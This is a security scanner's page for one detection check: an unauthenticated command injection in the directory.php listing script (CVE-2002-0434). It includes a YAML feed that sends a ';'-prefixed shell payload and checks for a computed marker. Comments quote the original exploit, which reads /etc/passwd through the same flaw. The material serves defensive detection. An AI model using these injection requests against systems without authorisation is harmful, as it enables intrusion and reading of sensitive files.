directory.php — 1 vulnerability check

noctis ships 1 vulnerability check for directory.php, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

Marcus S. Xenakis directory.php Unauthenticated OS Command Injection

CVECVE-2002-0434
Severitycritical · CVSS 10.0
Categoryrce — Remote code execution
Serviceshttp, https
Detectionscript, set_var, tcp_connect, match · highest QoD 97
Feedtests/vulnerabilities/directory-php/CVE-2002-0434.yaml

Detects the unauthenticated OS command injection in the directory.php directory-listing script by Marcus S. Xenakis, which pastes the dir request parameter unfiltered into exec("ls -la $dir"), so a ";" starts any shell command as the web server user. Once directory.php answers 200, the feed sends dir=;echo NOCTIS`expr a + b` with per-run random numbers and reports only when the page contains NOCTIS followed by their sum, which only real shell execution can produce. No fix was released; remove the script.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. Raw TCP (TLS on HTTPS), sent verbatim: GET {{dir}}/directory.php HTTP/1.0
  3. Raw TCP (TLS on HTTPS), sent verbatim: GET {{dir}}/directory.php?dir=%3Becho%20NOCTIS%60expr%20{{ov.a}}%20%2B%20{{ov.b}}%60 HTTP…
  4. Checks inj.banner for NOCTIS → finding QoD 97: directory.php command injection confirmed via GET …/directory.php?dir=;echo NOCTIS`expr … + …`: the shell printed NOCTIS… (a sum absent fro…

References:

Feed source — tests/vulnerabilities/directory-php/CVE-2002-0434.yaml
# Marcus S. Xenakis directory.php — `dir` parameter OS command injection (CVE-2002-0434)
#
# Ported from OpenVAS/Greenbone NVT `pre2008/directoryphp.nasl`
# (OID 1.3.6.1.4.1.25623.1.0.11017, GPL-2.0-only).
#
# directory.php lists a directory with `exec("ls -la $dir", $lines, $rc)` and
# prints the captured lines; `dir` comes from the request unfiltered (Bugtraq,
# 10 Mar 2002: `directory.php?dir=%3Bmore%20/etc/passwd`). A `;` ends `ls` and
# starts any command, run as the web server user.
#
# The NASL requests <dir>/directory.php?dir=%3Bcat%20/<traversal file> for "/"
# and the CGI dirs and matches the file's content (root:x:0:0 ...).
#
# This feed keeps the NASL's script locations and its `;` break-out, with only
# the command changed:
#     dir=;echo NOCTIS`expr <a> + <b>`     (a, b = per-run random 6-digit ints)
#   -> `ls -la ;echo NOCTIS<a+b>`: the shell prints NOCTIS<a+b> after the
#   listing. Backticks + expr work in every Bourne shell (old /bin/sh without
#   `$((...))` included). The sum never appears in the request, so a page that
#   reflects or strips the parameter (a fixed build quoting $dir echoes it in
#   ls's "cannot access" error) cannot produce it.
#
# Beyond the NASL: no file is read (the NASL cats /etc/passwd or win.ini), the
# proof is a per-run value that only real shell execution yields, and the
# injection is only sent once directory.php answers 200.
uid: 5f1cb35e-0b6f-4660-af90-370baf2106f9
name: "Marcus S. Xenakis directory.php Unauthenticated OS Command Injection"
description: |
  Detects the unauthenticated OS command injection in the directory.php
  directory-listing script by Marcus S. Xenakis, which pastes the dir request
  parameter unfiltered into exec("ls -la $dir"), so a ";" starts any shell
  command as the web server user. Once directory.php answers 200, the feed sends
  dir=;echo NOCTIS`expr a + b` with per-run random numbers and reports only when
  the page contains NOCTIS followed by their sum, which only real shell
  execution can produce. No fix was released; remove the script.
cves: [CVE-2002-0434]
cvss: 10.0
severity: critical
confidence_base: 0.30
category: rce
tags: [directory-php, php, command-injection, rce, unauthenticated, intrusive]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2002-0434"
  - "https://seclists.org/bugtraq/2002/Mar/194"
  - "https://www.securityfocus.com/bid/4278"
  - "OpenVAS/Greenbone NASL pre2008/directoryphp.nasl (GPL-2.0-only)"

steps:
  # Per-run operands: the 7-digit sum cannot hide inside an echoed 6-digit operand.
  - id: gen-tokens
    action: script
    code: |
      let a = rand_int(500000, 999999);
      let b = rand_int(500000, 999999);
      #{ a: a, b: b, sum: "" + (a + b) }
    store_as: ov

  # ── Per location (the NASL's "/" + its usual CGI dirs): this step and every following one ──
  # Pre-initialised so a failed request leaves no undefined variable behind.
  - id: init-page
    action: set_var
    var_name: page
    var_value: {connected: false, banner: null}
    loop:
      over:
        - ""
        - "/cgi-bin"
        - "/scripts"
      var: dir

  - id: init-inject
    action: set_var
    var_name: inj
    var_value: {connected: false, banner: null}

  # The script must be there before anything is injected.
  - id: probe-script
    action: tcp_connect
    port: "{{port}}"
    send: "GET {{dir}}/directory.php HTTP/1.0\r\nHost: {{target_host}}\r\nConnection: close\r\n\r\n"
    timeout_secs: 10   # connect only; the reply is read for 3 s (checks/tcp.rs)
    store_as: page

  # The NASL's request with `cat /<file>` swapped for the inert sum.
  - id: inject-dir
    action: tcp_connect
    condition: "type_of(page.banner) == \"string\" && ereg(\"^HTTP/1\\\\.[01] 200\", page.banner)"
    port: "{{port}}"
    send: "GET {{dir}}/directory.php?dir=%3Becho%20NOCTIS%60expr%20{{ov.a}}%20%2B%20{{ov.b}}%60 HTTP/1.0\r\nHost: {{target_host}}\r\nConnection: close\r\n\r\n"
    timeout_secs: 10   # connect only; the reply is read for 3 s (checks/tcp.rs)
    store_as: inj

  - id: confirm
    action: match
    source: inj.banner
    pattern: "NOCTIS"
    condition: "type_of(inj.banner) == \"string\" && ereg(\"^HTTP/1\\\\.[01] 200\", inj.banner) && ereg(\"NOCTIS\" + ov.sum + \"([^0-9]|$)\", inj.banner)"
    on_match:
      finding:
        confidence_delta: 0.67
        qod: 97
        evidence: "directory.php command injection confirmed via GET {{dir}}/directory.php?dir=;echo NOCTIS`expr {{ov.a}} + {{ov.b}}`: the shell printed NOCTIS{{ov.sum}} (a sum absent from the request) in the page"
      stop: true

View these feeds on GitHub